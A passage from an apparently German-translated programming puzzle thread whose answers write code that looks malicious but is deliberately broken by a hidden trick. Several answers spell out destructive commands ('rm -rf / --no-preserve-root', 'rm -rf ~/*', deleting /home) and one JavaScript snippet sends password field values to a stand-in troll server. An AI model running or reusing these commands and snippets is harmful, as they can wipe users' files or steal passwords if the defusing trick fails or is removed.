'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Wenn ich mich richtig erinnere, BEGINläuft der Block zuerst, egal wo er sich im Code befindet. Es ersetzt @INCdas, von dem Perl seine Bibliotheken lädt, durch eine Unterroutine (es ist normalerweise eine Reihe von Pfaden, aber dies ist zulässig). Die Subroutine ist eigentlich der verschleierte Datenblock, der etwas Regexp + Evalmagie ausführt. Wenn dann der Code auftaucht require File::Path;(mit dem es nicht funktioniert hätte use), wird dieses Sub ausgeführt und gibt einfach "Just another perl hacker." Aus, wie es Tradition ist, und wird beendet. Der Rest des Codes wird nie erreicht.

Stoffe
quelle
1
Wow, ich habe eine Weile gebraucht, um zu verstehen, was dieser Code bewirkt (aber ich habe den Spoiler nicht gelesen). Ich habe diesen Block von Regex-Aufrufen dekodiert (es ist die gleiche Methode wie in codegolf.stackexchange.com/a/23871/3103 ) und ich mag, wie er exitBefehle enthält (mit sinnlosem Semikolon danach, aber nicht, dass es darauf ankommt ).
Konrad Borowski
Hehe, ich musste es selbst herausfinden, es ist immerhin 11-12 Jahre alt. Das Semikolon ist wahrscheinlich nur, um alles ordentlich auszurichten.
Stoffe
9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

Auf den ersten Blick $conditionist falsch, aber der =Operator hat Vorrang vor and, sodass die Bedingung wahr ist. Das Böse wird also niemals getan.

zozo
quelle
8

C ++ mit Boost

Dadurch werden alle Dateien im Dateisystem gelöscht

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Eigentlich wird es nicht. deletein C ++ wird verwendet, um den von zugewiesenen Speicher freizugeben newund nicht, um Dateien und Verzeichnisse zu löschen. Das Programm wird höchstwahrscheinlich mit einem Segmentierungsfehler abstürzen, da es versucht, den von Boost zugewiesenen Speicher freizugeben, aber zu diesem Zeitpunkt bin ich der Gefangenschaft des Trolls entkommen.

3Doubloons
quelle
+1. Dies ist nicht leicht zu erkennen, da es sogar fehlerfrei kompiliert wird.
Erel Segal-Halevi
2
Ist die erste Problemlinie nicht undefiniert? In diesem Fall werden möglicherweise alle seine Dateien gelöscht.
Aschepler
1
@taschepler: "UB könnte alle Ihre Dateien löschen" bietet eine lustige Erklärung dafür, dass Sie nicht vorhersagen können, was beim Aufrufen von UB passieren wird, aber dies ist normalerweise keine Möglichkeit. Wenn der Troll einen Compiler hätte, der die Festplatten auf UB löscht, würde er uns nicht dazu bringen, ihm eine Malware zu schreiben
3Doubloons
2
Syntax-Hervorhebung würde Troll hier einen Hinweis geben ...
mik01aj
8

Java

Dies gibt vor, RAM herunterzuladen, löscht jedoch das Home-Verzeichnis des Benutzers.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

TimerVerwendet einen Hintergrund-Thread, um Ihre TimerTasks aufzurufen, die Sie an ihn gesendet haben. new Timer(true)Erstellt einen TimerThread, bei dem der Hintergrund als Daemon-Thread festgelegt ist, sodass das Programm sofort beendet wird, bevor die Tasks ausgeführt werden können. Der zu lange Code lenkt den Troll davon ab, den trueParameter zu sehen.

Hund
quelle
7
rm -rf ⁄

Das Zeichen ist kein regulärer Schrägstrich (/, dh SOLIDUS in Unicode), sondern ein FRACTION SLASH. Gibt eine Meldung wie "rm: ⁄: Keine solche Datei oder kein solches Verzeichnis" aus.

Geoff Reedy
quelle
10
Oh wirklich, lass es mich versuchen ...
Michael J. Calkins
1
@MichaelCalkins: Sie können es als nicht privilegierter Benutzer versuchen und die Meldung "Nicht gefunden" sehen ... hoffentlich.
Olivier Dulac
7

Bash

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Es ist vielleicht so böse wie es nur geht. Es definiert eine Funktion, die ausgeführt rm -rf /und aufgerufen wird. Nicht nur, dass es das Böseeval bei mehr als einer Gelegenheit ausnutzt.

Es würde sicher eine Menge Schaden anrichten!

evalWenn Sie sich fragen, setzt der erste die Funktion zurück durch: unset -f cleanup Der zweite evaldefiniert sie wie folgt: Wenn Sie cleanup() { echo Troll detected; } den Code ausführen, werden Sie sehen Troll detected

devnull
quelle
9
Gut! Aber ich würde sagen, dass die "base64" -Linien, die anscheinend keine Verwendung für das tatsächliche Löschen haben, dies ein wenig zu offensichtlich machen.
Erel Segal-Halevi
1
Könnte besser sein, wenn Sie glauben würden, dass die evals etwas Böseres tun als irgendein offensichtlicher Code. Der aktuelle Code veranlasst mich zu fragen: Warum den "bösen" Code verstecken, wenn das Offensichtliche alles löscht?
Tim S.
2
Ich glaube nicht, dass dies die Anforderungen erfüllt, da es möglicherweise sehr bösartig ist: Wenn base64(kein Standardbefehl) auf dem System, auf dem es ausgeführt wird, nicht vorhanden ist, werden die Evals nicht ausgeführt und die Tests werden ausgeführt rm -rf /! Dies kann auch passieren, wenn base64vorhanden, aber aus irgendeinem Grund (z ulimit. B. ) fehlgeschlagen ist .
R ..
1
@R .: Funktioniert auch rm -rf /bei den meisten rmImplementierungen nicht. Dies ist eine Sicherheitsfunktion - Sie können das Stammverzeichnis in den meisten Implementierungen von nicht entfernen rm.
Konrad Borowski
1
Soweit mir bekannt, funktioniert es auf der Busybox-Version. :-)
R ..
6

BASH

Sicher, wir brauchen Root-Rechte für die Maschine, also verwenden wir den guten alten "Do I have root?" - Checker, auch bekannt als " ch (eck) root" - aber besser in einem Verzeichnis, in dem nicht viele Alarme ausgelöst werden. / tmp wäre perfekt, da dort jeder Dateien schreiben kann.

Danach löschen wir nur die gesamte Festplatte Lachen böse

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"
german_guy
quelle
10
Als Deutscher kann ich sagen: Lache nicht böse als Deutscher ...
Philipp Sander
Wer , wenn er kein Deutscher ist, kann mich zum Lachen bringen, Zen?
Alexander Kosubek
5
Ich muss zugeben, dass ich mehrere Male den Code gelesen und dann Ihre Kommentare erneut gelesen habe, um herauszufinden, warum jemand dies für schädlich hält. Ich denke nicht, dass dies funktionieren wird, wenn Sie nicht versucht hätten, jemanden in Ihren Kommentaren davon zu überzeugen, dass chroot etwas anderes tut als es und die Frage besagt, dass der Troll keine Kommentare liest ...
Chris
1
Im Übrigen chrootist es nicht "check root", sondern "change root" - es ändert die Vorstellung des Benutzers von dem, was /ist. Interessanterweise kann dieser Troll nichts für Root- und Nicht-Root-Benutzer tun. root-Benutzer erhalten einen neuen root-Befehl (und damit keinen / bin / bash-Befehl, da im neu erstellten root-Ordner von / tmp / chroot_dir nichts vorhanden ist), und Nicht-root-Benutzer können nicht chroot.
mah
Das ist wie der Anhaltspunkt dafür - ich weiß, dass es nicht "change root" ist, aber mein Capturer (korrektes Wort?) Weiß es nicht - er versagt also schwer
german_guy
6

iPhone - Flappy Bird Clone

Während der Benutzer einen iPhone Flappy Bird-Klon abspielt, werden alle Dateien im Verzeichnis "Dokumente" gelöscht.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Jede App in iOS ist eine Sandbox. Dadurch wird zwar alles im Verzeichnis "Dokumente" gelöscht, es ist jedoch nur das Verzeichnis "Dokumente" für diese bestimmte App. Der Troll ist sich dessen offensichtlich nicht bewusst, da er bereits mit so vielen Programmen für andere Plattformen überflutet wurde. Und sobald er merkt, dass auch er einen Flappy Bird-Klon herausbringen kann, ist er vielleicht so aufgeregt, dass er sich nicht einmal Gedanken über den Rest des Codes macht, da er zu sehr davon träumt, 50.000 USD pro Tag ohne Werbung zu verdienen irgendeine Arbeit machen.

Richard Venable
quelle
5

Gehen:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Dieser ist ein bisschen knifflig. In Go wird das gesamte Programm beendet, wenn die Haupt-Goroutine beendet wird. Eine gute Möglichkeit, dies zu beheben, ist eine Wartegruppe. Es gibt zwei große Probleme mit meinem "Fix":

  1. Die Wartegruppe wird erst hinzugefügt, wenn die Goroutine startet. Dies bedeutet, dass die Haupt-Goroutine trifft, Waitbevor die Löschung von Goroutine eintritt Add. Da der Zähler 0 ist, muss er nicht warten und wird nicht blockiert und beendet, wodurch das Programm beendet wird.
  2. Auch wenn es irgendwie magisch ist, wird das Hinzufügen von deleteAll goroutine zuerst ausgeführt. Es hat eine Kopie der Waitgroup, keinen Zeiger darauf. Es wird nicht zur selben Wartegruppe hinzugefügt, sodass die Haupt-Goroutine es niemals sieht.

Die Eingabe, die mit fmt.Scanln () erwartet wird, dient nur dazu, sicherzustellen, dass die Haupt-Goroutine beendet wird, bevor etwas passiert. Das Println wird wahrscheinlich dazu führen, dass es E / A blockiert und zum Ausführen der Haupt-Goroutine wechselt (und somit beendet wird), und das Scanln wird dies mit ziemlicher Sicherheit tun. In der Realität ist beides bei keiner Go-Version erforderlich.

In der Supertheorie könnte dies funktionieren und etwas löschen, was bedeutet, dass es gemäß dem Go-Speichermodell keine garantierte Beziehung zwischen dem Ende mainund der Ausführung von "happen-before" gibt RemoveAll, aber es wird nicht auf einer modernen Go-Laufzeitumgebung / einem Compiler wie gezeigt von allen Neulingen, die den Fehler machen, die Synchronisation nicht in ihre Hauptfunktionen zu setzen.

LinearZoetrope
quelle
4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Es wird nicht ausgeführt, Sie können keinen Abschluss erstellen, ohne ihn mit Parens zu ersetzen

2.

Wenn es der Troll schafft, das zu beheben, gibt es einen schönen Tippfehler, der behoben werden muss ... ;-)

Juan Garcia
quelle
1
welche Sprache? und vielleicht ein bisschen mehr auf den Tippfehler
hinweisen
@ MasterX244 ist Javascript, ich werde es bearbeiten. Tippfehler: ReferenceError
Juan Garcia
3
Dieser Tippfehler ist so häufig, dass er von den Redakteuren
automatisch korrigiert werden
Ja, ich mache diesen Tippfehler oft. Vor allem , wenn das Wort Länge ist ziemlich lang: P
Mohammed Joraid
1
@ m01 +1 Ich denke, es sollte ein reserviertes Wort sein, das eine Ausnahme oder einen Fehler bei der Kompilierung auslöst!
Juan Garcia